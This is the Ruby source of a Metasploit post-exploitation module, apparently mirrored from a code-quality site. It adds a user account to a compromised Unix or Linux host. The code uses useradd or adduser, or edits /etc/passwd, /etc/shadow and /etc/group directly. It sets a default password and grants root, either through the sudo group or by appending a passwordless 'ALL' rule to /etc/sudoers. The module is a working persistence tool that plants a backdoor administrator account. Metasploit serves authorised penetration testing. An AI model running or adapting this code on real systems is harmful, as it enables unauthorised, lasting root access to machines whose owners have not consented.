rapid7/metasploit-framework

View on GitHub
modules/post/linux/manage/adduser.rb

Summary

Maintainability
F
3 days
Test Coverage
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'unix_crypt'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Add a new user to the system',
        'Description' => %q{
          This command adds a new user to the system
        },
        'License' => MSF_LICENSE,
        'Author' => ['Nick Cottrell <ncottrellweb[at]gmail.com>'],
        'Platform' => ['linux', 'unix', 'bsd', 'aix', 'solaris'],
        'Privileged' => false,
        'SessionTypes' => %w[meterpreter shell],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [CONFIG_CHANGES]
        }
      )
    )
    register_options([
      OptString.new('USERNAME', [ true, 'The username to create', 'metasploit' ]),
      OptString.new('PASSWORD', [ true, 'The password for this user', 'Metasploit$1' ]),
      OptString.new('SHELL', [true, 'Set the shell that the new user will use', '/bin/sh']),
      OptString.new('HOME', [true, 'Set the home directory of the new user. Leave empty if user will have no home directory', '']),
      OptString.new('GROUPS', [false, 'Set what groups the new user will be part of separated with a space'])
    ])

    register_advanced_options([
      OptEnum.new('UseraddMethod', [true, 'Set how the module adds in new users and groups. AUTO will autodetect how to add new users, MANUAL will add users without any binaries, and CUSTOM will attempt to use a custom designated binary', 'AUTO', ['AUTO', 'MANUAL', 'CUSTOM']]),
      OptString.new('UseraddBinary', [false, 'Set binary used to set password if you dont want module to find it for you.'], conditions: %w[UseraddMethod == CUSTOM]),
      OptEnum.new('SudoMethod', [true, 'Set the method that the new user can obtain root. SUDO_FILE adds the user directly to sudoers while GROUP adds the new user to the sudo group', 'GROUP', ['SUDO_FILE', 'GROUP', 'NONE']]),
      OptEnum.new('MissingGroups', [true, 'Set how nonexisting groups are handled on the system. Either give an error in the module, ignore it and throw it out, or create the group on the system.', 'ERROR', ['ERROR', 'IGNORE', 'CREATE']]),
      OptEnum.new('PasswordHashType', [true, 'Set the hash method your password will be encrypted in.', 'MD5', ['DES', 'MD5', 'SHA256', 'SHA512']])
    ])
  end

  # Checks if the given group exists within the system
  def check_group_exists?(group_name, group_data)
    return group_data =~ /^#{Regexp.escape(group_name)}:/
  end

  # Checks if the specified command can be executed by the session. It should be
  # noted that not all commands correspond to a binary file on disk. For example,
  # a bash shell session will provide the `eval` command when there is no `eval`
  # binary on disk. Likewise, a Powershell session will provide the `Get-Item`
  # command when there is no `Get-Item` executable on disk.
  #
  # @param [String] cmd the command to check
  # @return [Boolean] true when the command exists
  def check_command_exists?(cmd)
    command_exists?(cmd)
  rescue RuntimeError => e
    fail_with(Failure::Unknown, "Unable to check if command `#{cmd}' exists: #{e}")
  end

  def d_cmd_exec(command)
    vprint_status(command)
    print_line(cmd_exec(command))
  end

  # Produces an altered copy of the group file with the user added to each group
  def fs_add_groups(group_file, groups)
    groups.each do |group|
      # Add user to group if there are other users
      group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:.+)$/, "\\1,#{datastore['USERNAME']}")
      # Add user to group of no users belong to that group yet
      group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:)$/, "\\1#{datastore['USERNAME']}")
    end
    if datastore['MissingGroups'] == 'CREATE'
      new_groups = get_missing_groups(group_file, groups)
      new_groups.each do |group|
        gid = rand(1000..2000).to_s
        group_file += "\n#{group}:x:#{gid}:#{datastore['USERNAME']}\n"
        print_good("Added #{group} group")
      end
    end
    group_file.gsub(/\n{2,}/, "\n")
  end

  # Provides a list of groups that arent already on the system
  def get_missing_groups(group_file, groups)
    groups.reject { |group| check_group_exists?(group, group_file) }
  end

  # Finds out what platform the module is running on. It will attempt to access
  # the Hosts database before making more noise on the target to learn more
  def os_platform
    if session.type == 'meterpreter'
      sysinfo['OS']
    elsif active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.os_name
      host = framework.db.workspace.hosts.where(address: session.session_host).first
      if host.os_name == 'linux' && host.os_flavor
        host.os_flavor
      else
        host.os_name
      end
    else
      get_sysinfo[:distro]
    end
  end

  # Validates the groups given to it. Depending on datastore settings, it will
  # give a trimmed down list of the groups given to it, and ensure that all
  # groups returned exist on the system.
  def validate_groups(group_file, groups)
    groups = groups.uniq

    # Check that group names are valid
    invalid = groups.filter { |group| group !~ /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/ }
    if invalid.any? && datastore['MissingGroups'] == 'IGNORE'
      groups -= invalid
      vprint_error("The groups [#{invalid.join(' ')}] do not fit accepted characters for groups. Ignoring them instead.")
    elsif invalid.any?
      # Give error even on create, as creating this group will cause errors
      fail_with(Failure::BadConfig, "groups [#{invalid.join(' ')}] Do not fit the authorized regex for groups. Check your groups against this regex /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/")
    end

    # Check to see that groups exist or fail
    groups_missing = get_missing_groups(group_file, groups)
    unless groups_missing.empty?
      if datastore['MissingGroups'] == 'ERROR'
        fail_with(Failure::NotFound, "groups [#{groups_missing.join(' ')}] do not exist on the system. Change the `MissingGroups` Option to deal with errors automatically")
      end
      print_warning("Groups [#{groups_missing.join(' ')}] do not exist on system")
      if datastore['MissingGroups'] == 'IGNORE'
        groups -= groups_missing
        print_good("Removed #{groups_missing.join(' ')} from target groups")
      end
    end

    groups
  end

  # Takes all the groups given and attempts to add them to the system
  def create_new_groups(groups)
    # Since command can add on groups, checking over groups
    groupadd = check_command_exists?('groupadd') ? 'groupadd' : nil
    groupadd ||= 'addgroup' if check_command_exists?('addgroup')
    fail_with(Failure::NotFound, 'Neither groupadd nor addgroup exist on the system. Try running with UseraddMethod as MANUAL to get around this issue') unless groupadd

    groups.each do |group|
      d_cmd_exec("#{groupadd} #{group}")
      print_good("Added #{group} group")
    end
  end

  def run
    fail_with(Failure::NoAccess, 'Session isnt running as root') unless is_root?
    case datastore['UseraddMethod']
    when 'CUSTOM'
      fail_with(Failure::NotFound, "Cannot find command on path given: #{datastore['UseraddBinary']}") unless check_command_exists?(datastore['UseraddBinary'])
    when 'AUTO'
      fail_with(Failure::NotVulnerable, 'Cannot find a means to add a new user') unless check_command_exists?('useradd') || check_command_exists?('adduser')
    end
    fail_with(Failure::NotVulnerable, 'Cannot add user to sudo as sudoers doesnt exist') unless datastore['SudoMethod'] != 'SUDO_FILE' || file_exist?('/etc/sudoers')
    fail_with(Failure::NotFound, 'Shell specified does not exist on system') unless check_command_exists?(datastore['SHELL'])
    fail_with(Failure::BadConfig, "Username [#{datastore['USERNAME']}] is not a legal unix username.") unless datastore['USERNAME'] =~ /^[a-z][a-z0-9_-]{0,31}$/

    # Encrypting password ahead of time
    passwd = case datastore['PasswordHashType']
             when 'DES'
               UnixCrypt::DES.build(datastore['PASSWORD'])
             when 'MD5'
               UnixCrypt::MD5.build(datastore['PASSWORD'])
             when 'SHA256'
               UnixCrypt::SHA256.build(datastore['PASSWORD'])
             when 'SHA512'
               UnixCrypt::SHA512.build(datastore['PASSWORD'])
             end

    # Adding sudo to groups if method is set to use groups
    groups = datastore['GROUPS']&.split || []
    groups += ['sudo'] if datastore['SudoMethod'] == 'GROUP'
    group_file = read_file('/etc/group').to_s
    groups = validate_groups(group_file, groups)

    # Creating new groups if it was set and isnt manual
    if groups.any? && datastore['MissingGroups'] == 'CREATE' && datastore['UseraddMethod'] != 'MANUAL'
      create_new_groups(get_missing_groups(group_file, groups))
    end

    # Automatically ignore setting groups if added additional groups is empty
    groups_handled = groups.empty?

    # Check database to see what OS it is. If it meets specific requirements, This can all be done in a single line
    binary = case datastore['UseraddMethod']
             when 'AUTO'
               if check_command_exists?('useradd')
                 'useradd'
               elsif check_command_exists?('adduser')
                 'adduser'
               else
                 'MANUAL'
               end
             when 'MANUAL'
               'MANUAL'
             when 'CUSTOM'
               datastore['UseraddBinary']
             end
    case binary
    when /useradd$/
      print_status("Running on #{os_platform}")
      print_status('Useradd exists. Using that')
      case os_platform
      when /debian|ubuntu|fedora|centos|oracle|redhat|arch|suse|gentoo/i
        homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"

        # Since command can add on groups, checking over groups
        groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"

        # Finally run it
        d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))
        groups_handled = true
      else
        vprint_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')

        # Finally run it
        d_cmd_exec("#{binary} #{datastore['USERNAME']} | echo")
        d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
      end
    when /adduser$/
      print_status("Running on #{os_platform}")
      print_status('Adduser exists. Using that')
      case os_platform
      when /debian|ubuntu/i
        print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')
        homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home #{datastore['HOME']}"

        d_cmd_exec("#{binary} --disabled-password #{homedirc} --shell #{datastore['SHELL']} #{datastore['USERNAME']} | echo")
        d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
      when /fedora|centos|oracle|redhat/i
        homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"

        # Since command can add on groups, checking over groups
        groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"

        # Finally run it
        d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))
        groups_handled = true
      when /alpine/i
        print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')
        homedirc = datastore['HOME'].empty? ? '-H' : "-h #{datastore['HOME']}"

        d_cmd_exec("#{binary} -D #{homedirc} -s #{datastore['SHELL']} #{datastore['USERNAME']}")
        d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
      else
        print_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')

        # Finally run it
        d_cmd_exec("#{binary} #{datastore['USERNAME']}")
        d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
      end
    when datastore['UseraddBinary']
      print_status('Running with command supplied')
      d_cmd_exec("#{binary} #{datastore['USERNAME']}")
      d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
    else
      # Checking that user doesnt already exist
      fail_with(Failure::BadConfig, 'User already exists') if read_file('/etc/passwd') =~ /^#{datastore['USERNAME']}:/

      # Run adding user manually if set
      home = datastore['HOME'].empty? ? "/home/#{datastore['USERNAME']}" : datastore['HOME']
      uid = rand(1000..2000).to_s
      append_file('/etc/passwd', "#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\n")
      vprint_status("\'#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\' >> /etc/passwd")
      append_file('/etc/shadow', "#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\n")
      vprint_status("\'#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\' >> /etc/shadow")

      altered_group_file = fs_add_groups(group_file, groups)
      write_file('/etc/group', altered_group_file) unless group_file == altered_group_file

      groups_handled = true
    end

    # Adding in groups and connecting if not done already
    unless groups_handled
      # Attempt to do add groups to user by normal means, or do it manually
      if check_command_exists?('usermod')
        d_cmd_exec("usermod -aG #{groups.join(',')} #{datastore['USERNAME']}")
      elsif check_command_exists?('addgroup')
        groups.each do |group|
          d_cmd_exec("addgroup #{datastore['USERNAME']} #{group}")
        end
      else
        print_error("Couldnt find \'usermod\' nor \'addgroup\' on the target. User [#{datastore['USERNAME']}] couldnt be linked to groups.")
      end
    end

    # Adding user to sudo file if specified
    if datastore['SudoMethod'] == 'SUDO_FILE' && file_exist?('/etc/sudoers')
      append_file('/etc/sudoers', "#{datastore['USERNAME']} ALL=(ALL:ALL) NOPASSWD: ALL\n")
      print_good("Added [#{datastore['USERNAME']}] to /etc/sudoers successfully")
    end
  rescue Msf::Exploit::Failed
    print_warning("The module has failed to add the new user [#{datastore['USERNAME']}]!")
    print_warning('Groups that were created need to be removed from the system manually.')
    raise
  end
end